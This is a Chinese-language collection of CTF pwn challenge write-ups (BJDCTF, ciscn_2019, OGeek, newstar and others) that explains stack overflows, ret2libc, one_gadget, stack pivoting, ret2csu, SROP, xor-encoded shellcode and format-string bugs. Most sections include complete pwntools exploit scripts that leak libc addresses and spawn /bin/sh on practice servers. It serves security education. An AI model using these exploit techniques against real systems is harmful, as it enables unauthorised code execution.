[BJDCTF 2nd]r2t3 ——比较好的考察了整数溢出
我们可以表示的长度实际上还可以是
255+4255+7 即 259262
返回地址与dest距离0x11+0x4=0x15
也可以这么算
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'i386' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./r2t3")
#gdb.attach(io)
io = remote ( "node5.buuoj.cn" , 26815 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
sh_addr = 0x0804858B
payload = cyclic ( 0x15 ) + p32 ( sh_addr ) + cyclic ( 262 - 0x15 - 4 )
sla ( "name:" , payload )
io . interactive ()
[BJDCTF 2nd]one_gadget one_gadget工具使用 下的ret2libc
保护全开
本题实际上是想让我们使用one_gadget
来直接获取shell
init
中泄露printf的地址可以获取libc
而one_gadget
列出了一系列可用execve(/bin/sh)的gadget,但是我们要注意call的时候寄存器的值是否符合限制要求(当然你也可以列举测试)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'amd64' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
io = process ( "./one_gadget" )
#io=remote("node5.buuoj.cn",28965)
elf = ELF ( "./one_gadget" )
libc = ELF ( './libc-2.29.so' )
gdb . attach ( io )
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
ru ( "0x" )
print_addr = int ( rc ( 12 ), 16 )
log . success ( "print_addr:" + hex ( print_addr ))
libc_base = print_addr - libc . symbols [ 'printf' ]
one_gadget = [ 0xe21ce , 0xe21d1 , 0xe21d4 , 0xe2383 , 0x106ef8 ]
bin_sh = libc_base + one_gadget [ 4 ]
ru ( 'Give me your one gadget:' )
#pause()
sl ( str ( bin_sh ))
io . interactive ()
get_started_3dsctf_2016——后门函数特殊处理完成flag打印
保护开了NX
可栈溢出
我们需要的函数,a1,a2值符合可以输出flag,函数参数我们传入就行
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'i386' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./pwn")
elf = ELF ( "./pwn" )
libc = ELF ( "./libc-2.23.so" )
io = remote ( "node5.buuoj.cn" , 26015 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
exit_addr = elf . symbols [ "exit" ]
get_flag = elf . symbols [ "get_flag" ]
payload = cyclic ( 56 ) + p32 ( get_flag ) + p32 ( exit_addr ) + p32 ( 814536271 ) + p32 ( 425138641 )
se ( payload )
io . interactive ()
[OGeek2019]babyrop——截断符绕过的strncmp
main函数
保护开了full relro和NX
sub_804871f
第二个函数
主函数生成一个随机数作为参数传入第一个函数,然后再执行第二个函数
我们要将sub_804871f中buf[7]覆盖掉,使其尽量大,然后栈溢出执行rop
绕过:strncmp在相同时返回0,但是随机数无法判断所以我们使buf首位为’\x00'
buf[7]要大于240才行
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'i386' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./pwn")
elf = ELF ( './pwn' )
libc = ELF ( './libc-2.23.so' )
io = remote ( "node5.buuoj.cn" , 29393 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
payload = ' \x00 ' + ' \xff ' * 7
sl ( payload )
io . recv ()
ret = 0x08048502
write_plt = elf . plt [ "write" ]
write_got = elf . got [ "write" ]
main_addr = 0x08048825
payload = cyclic ( 0xe7 + 4 ) + p32 ( write_plt ) + p32 ( main_addr ) + p32 ( 1 ) + p32 ( write_got ) + p32 ( 4 )
# 调用write函数,1并返回到main,对应的三个参数为1,write_got,4,写,4个字节的got地址
se ( payload )
write_addr = u32 ( rc ( 4 ))
log . success ( "write_addr:" + hex ( write_addr ))
libc_base = write_addr - libc . symbols [ "write" ]
system = libc_base + libc . symbols [ "system" ]
binsh = libc_base + libc . search ( b "/bin/sh \x00 " ) . __next__ ()
payload = ' \x00 ' + ' \xff ' * 7
sl ( payload )
io . recv ()
payload = cyclic ( 0xe7 + 4 ) + p32 ( system ) + p32 ( 114514 ) + p32 ( binsh )
sl ( payload )
io . interactive ()
ciscn_2019_ne_5——strcpy导致的栈溢出
strcpy导致了栈溢出
system后的返回地址不能放0,否则不会继续复制
main中s1给48字节,可溢出,getflag就可以直接getshell
/bin/sh没找到,–string “sh"拿到shell地址
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'i386' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./1")
elf = ELF ( "./1" )
io = remote ( "node5.buuoj.cn" , 25680 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
shell_addr = 0x80482ea
system_addr = elf . sym [ 'system' ]
io . recv ()
sl ( "administrator" )
io . recv ()
sl ( "1" )
payload = cyclic ( 0x48 + 4 ) + p32 ( system_addr ) + cyclic ( 4 ) + p32 ( shell_addr )
io . recv ()
sl ( payload )
io . recv ()
sl ( "4" )
io . interactive ()
ciscn_2019_es_2——栈迁移基础
主要的函数,只能读到return,无法实现覆盖,有一个hack函数只能echo flag,所以要栈迁移,关于栈迁移,可以看一下两个链接
栈迁移总结
栈迁移带动图
简单来说
我们一般将栈迁移到原来的栈或bss段
比如vmmap查看bss段
最重要的就是理解leave ret;
leave
=mov esp,ebp; pop ebp; //ebp要到哪就看其中内容
ret
=pop eip; //执行一次栈顶内容,栈顶向下+1
这样就实现了ebp,esp的转移去保存新的栈顶,
而当我们布置完rop链后再次跳转到栈顶就可以执行了
回到这道题这道题的程序执行到leave的时候esp没变化,如果我们返回地址为leave ret;那么就可以再转移到栈顶,
由于mov esp,ebp后,pop ebp pop eip会指向esp下一条内容,esp位置填垃圾数据,然后填充system地址,最后填充所需数据,由于pop ebp过,所以我们要找到pre-ebp
vul函数中esp和ebp相距0x38,可以泄露出pre-ebp
先将ebp上方填满,然后printf,因为没有\x00,所以跟在后面的ebp也会被输出
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'i386' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
io = process ( "./1" )
#io=remote("node5.buuoj.cn",26000)
elf = ELF ( "./1" )
gdb . attach ( io )
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
payload = cyclic ( 0x24 ) + b 'AAAA'
sa ( "name?" , payload )
ru ( 'AAAA' )
ebp = u32 ( rc ( 4 ))
log . success ( "ebp:" + hex ( ebp ))
leave_ret = 0x08048562
payload = b 'a' * 4 + p32 ( elf . sym [ 'system' ]) + p32 ( 0 ) + p32 ( ebp - 0x28 ) + b '/bin/sh \x00 '
payload = payload . ljust ( 0x28 , b ' \x00 ' )
payload += p32 ( ebp - 0x38 ) + p32 ( leave_ret )
se ( payload )
io . interactive ()
[HarekazeCTF2019]baby_rop2——printf结构了解,泄露libc
保护只开了NX
printf可以泄露libc
printf结构
int printf( const char* format , [argument] … );
因此需要传两个参数,其中要有格式化字符串,用两个gadgets传参
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'amd64' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./babyrop2")
elf = ELF ( "./babyrop2" )
libc = ELF ( "./libc-2.23.so" )
io = remote ( "node5.buuoj.cn" , 25899 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
pop_rdi = 0x400733
pop_rsi = 0x400731 #pop_rsi_r15要传两个参
ret = 0x4004d1
s_addr = 0x400770
payload = cyclic ( 0x28 ) + p64 ( pop_rdi ) + p64 ( s_addr ) + p64 ( pop_rsi ) + p64 ( elf . got [ 'read' ]) + p64 ( 0 ) + p64 ( elf . plt [ 'printf' ]) + p64 ( elf . sym [ 'main' ]) #pop_rsi后还有个pop_r15需要设置参数
sla ( "name? " , payload )
read_addr = get_64 ()
log . success ( "read_addr:" + hex ( read_addr ))
libc_addr = read_addr - libc . sym [ 'read' ]
system_addr = libc_addr + libc . sym [ 'system' ]
binsh_addr = libc_addr + libc . search ( b '/bin/sh \x00 ' ) . __next__ ()
payload = cyclic ( 0x28 ) + p64 ( pop_rdi ) + p64 ( binsh_addr ) + p64 ( system_addr )
ru ( "name? " )
sl ( payload )
io . interactive ()
ciscn_2019_s_3——无libc,极少gadgets可利用,ret2csu/srop
能利用的gadgets很少,这里可以考虑用ret2csu
ret2csu
64位程序中,函数前六个参数由寄存器传递,gadgets不够的情况下使用ret2csu,x64 下的 __libc_csu_init 中的 gadgets,ret2csu用于堆libc进行初始化操作, 一般来说大多数程序都会调用libc函数,所以这个函数必然存在,最后pop出一系列寄存器,我们可以以此控制数据
看到这里有mov rax,0Fh
0xF是系统调用号Sigreturn
注意到下面0x38是execve,可以用来利用,我们往栈上写入’/bin/sh’,然后将地址pop给rdi,将rsi,rdx置0,这样就可以execve("/bin/sh\x00",0,0)
了
解题
gdb动调,先输入aaaaaaaa,观察到存储在rsi寄存器中,查看一下内存
从0x30(字符串地址)开始输出到0x60,而字符偏移量为0x60-0x40=0x20,所以会打印出0x20的栈上内容
当然从vuln中buf距离rbp只有0x10却能打印0x30内容也能看出
如箭头,由于vul函数最后没有执行leave,所以rbp和rsp会指向一个位置,而原来的栈地址就在778这个地方,所以stack与buf的偏移就是778-660=118,想写入字符串地址,就要将stack-0x118,这样直接获得我们输入的/bin/sh
接下来找gadgets
pop_rdi,pop_rsi_r15都有了,到csu中找利用rdx的地方
通过修改r13可以修改rdx,修改r13靠下面的pop,置0
这里还要注意r12不能乱修改,修改完rbx后这里call就会跳转到r12+0了,下面也要注意cmp中rbx和rbp的比较,如果相同的话标志位为1下面就jnz跳转循环了
exp思路
1
2
3
4
5
rax -> 59 #execve
rdi -> binsh
rdx -> 0
rsi -> 0
syscall #execve("/bin/sh\x00",0,0)
第二次进行攻击将构造好的值一口气在pop的时候传给寄存器,第二次的payload应该如下
但是实际写起来的时候我要写吐了,一堆问题
要注意坑点
patchelf,远程环境ubuntu18泄露后地址偏移值是0x118,本地版本高却是0x148,
指令中没有leave,覆盖完数据就到ret了
实际r12传入的是binsh_addr+0x50(每个格子0x8,栈中覆盖后计算后刚好到r13_rdx后),此时call后跳转到rdi处
实际尝试过之后跳转后rsi r15设不设置不影响,当然最好设0这样省事
exp_ret2csu
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'amd64' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
#io=process("./1")
io = remote ( "node5.buuoj.cn" , 29139 )
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , b ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , b ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
rax_to_3b = 0x4004E2
rdi_ret = 0x4005a3
rsi_r15_ret = 0x4005a1
rbx_rbp_r12_r13_14_15 = 0x40059A
r13_to_rdx = 0x400580
syscall = 0x400501
vuln_addr = 0x04004ED
payload = cyclic ( 0x10 ) + p64 ( vuln_addr )
sl ( payload )
io . recv ( 0x20 )
stack = get_64 ()
log . info ( "stack:" + hex ( stack ))
binsh = stack - 0x118 #栈地址-字符串在栈中的地址 = offset,反过来就得到字符串地址
log . info ( "binsh:" + hex ( binsh ))
payload = b '/bin/sh \x00 ' + cyclic ( 0x8 )
payload += p64 ( rbx_rbp_r12_r13_14_15 ) + p64 ( 0 ) + p64 ( 1 )
payload += p64 ( binsh + 0x50 ) + p64 ( 0 ) * 3
payload += p64 ( r13_to_rdx )
payload += p64 ( rdi_ret ) + p64 ( binsh ) #CALL r12后刚好跳转到这里
# payload+=p64(rsi_r15_ret)+p64(0)+p64(0)
payload += p64 ( rax_to_3b )
payload += p64 ( syscall )
sl ( payload )
io . interactive ()
SROP解法
前面说到有mov rax, 0Fh
也就是0xf——sigreturn
的调用号给出了,我们可以直接拿来利用
SROP的原理简单来说就是利用了进程机制
SROP原理
进程之间可以通过软中断信号进行中断
内核向某个进程发送signal信号,那么该进程就会被暂时挂起进入内核态
内核将该进程对应的上下文保存 ,寄存器压栈,signal信息压入,并且会指向sigreturn系统调用地址
这里可以简单理解为
保存为环境后去执行信号处理,但是由于处理完恢复栈相关环境时没有校验栈是否合法,我们能控制这个栈就可以恢复上下文环境时控制寄存器执行rop链
那么使用SROP需要的前提便是
首先程序必须存在溢出,能够控制返回地址。
可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
需要知道syscall指令的地址
exp
newstar Bad_Asm
ps:什么玩意手搓shellcode,好痛苦
除canary外保护全开
题目限制syscall sysenter(从if中的两个判断得知,\x0f\x05-syscall \x0f\x34-sysenter
read读入shellcode,\x00后shellcode不会读入
查找得知要用异或构造syscall
实在是不会手搓,看了官方wp和大佬博客
常用的有xor [rsi+rbx],xx
xor [rip],xx
,前面可以做到构造做单位的可见字符异或,后面这个可以在地址未知情况下直接异或后边两字节
exec()
中将rsp,rbp都清空了
在任意可读写段恢复rsp,才能正常push pop
先用异或把syscall的机器码插入到shellcode后面执行read
的syscall
read可以在旧的shellcode末尾插入shellcodeexecve("/bin/sh", 0, 0)
exp
1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'amd64' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
io = process ( "./pwn" )
#io=remote("192.168.3.104",61765)
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
shellcode = '''
mov rsp,rsi;
add rsp,0x60; //任意合法值均可
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode = asm ( shellcode ) + b ' \x0f\x45 '
sla ( b "Input your Code : \n " , shellcode )
#pause()
sleep ( 0.5 )
se ( b ' \x90 ' * 0x20 + asm ( shellcraft . sh ()))
io . interactive ()
官方的比较好理解的一个shellcode构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
shellcode = '''
; // 目标: 执行 execve("/bin/sh", 0, 0) 的 syscall
mov rsp, rdi
add sp, 0x0848 ; // 给 rsp 一个合法值,使程序能正常执行 push/pop
mov rsi, 0x4028636f2e49226f
mov rdx, 0x4040104040204040
xor rsi, rdx
push rsi ; // 异或搓出来 '/bin/sh \x00 ' 并 push 到栈上面。此时 rsp 指向的即此字符串的开始位置,rsi进栈对应栈顶
mov rdi, rsp ; // 设置 rdi,指向之前push到栈上面的 '/bin/sh \x00 '
xor rsi, rsi
xor rdx, rdx ; // 设置 rsi, rdx
xor rax, rax
mov al, 59 ; //设置 execve 的系统调用号
mov cx, 0xf5ff
xor cx, 0xf0f0 ; // 异或拿到 syscall 的机器码
push rcx ; // push 到栈顶,rsp 此时指向的是 syscall 指令
jmp rsp //跳转rsp,执行
'''
io . sendafter ( "Input your Code :" , asm ( shellcode ))
io . interactive ()
思路是把栈放在可执行段上面了,我们可以直接异或整出来 syscall 的机器码然后 push 到栈上面,最后 jmp rsp
即可。由于这种方法我们并不依赖 nop
指令进行连接,在送 Payload 的时候可以去掉 ljust
了。
newstar Inverted_World
把 Stack 旋转 180°,不就没有 Stack0verf1ow 的烦恼了嘛♡~
😅幽默
保护没开PIE,开了canary
看,read有很大溢出空间对不对,但是这个read是自定义的_read(),是向read相反方向进行输入的
rsp是负的而,真是反着长的
那填满还能溢出到返回地址吗?
反向填满再反向填返回地址
反向输入sh试试,system(“sh”)来get shell
注意要跳过backdoor中if判断,不然绝对过不了检测,直接返回到中间部分去执行system(“sh”)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context ( log_level = 'debug' , os = 'linux' , arch = 'amd64' )
context . terminal = [ "tmux" , "splitw" , "-h" ]
io = process ( "./pwn" )
#io=remote("172.22.192.1",51780)
#gdb.attach(io)
se = lambda data : io . send ( data )
sa = lambda delim , data : io . sendafter ( delim , data )
sl = lambda data : io . sendline ( data )
sla = lambda delim , data : io . sendlineafter ( delim , data )
rc = lambda num : io . recv ( num )
rl = lambda : io . recvline ()
ru = lambda delims : io . recvuntil ( delims )
uu32 = lambda data : u32 ( data . ljust ( 4 , ' \x00 ' ))
uu64 = lambda data : u64 ( data . ljust ( 8 , ' \x00 ' ))
ia = lambda : io . interactive ()
get_64 = lambda : u64 ( io . recvuntil ( b ' \x7f ' )[ - 6 :] . ljust ( 8 , b ' \x00 ' ))
get_32 = lambda : u32 ( io . recvuntil ( b ' \xf7 ' )[ - 4 :] . ljust ( 4 , b ' \x00 ' ))
addr = p64 ( 0x40137C )[:: - 1 ]
#print(addr)
payload = cyclic ( 0x100 ) + addr
sl ( payload )
ru ( "root@AkyOI-VM:~#" )
sl ( "hs" )
io . interactive ()
就,挺奇妙的
newstar Ez_fmt
保护
三次for函数
printf(buf)明显格式化字符串
偏移为8
三次格式化字符串可以
泄露libc
改printf got表地址到system
printf(sh)——system(sh)
ez
canary偏移位置为0x38/8=7
字符串偏移位置为8
8+7=15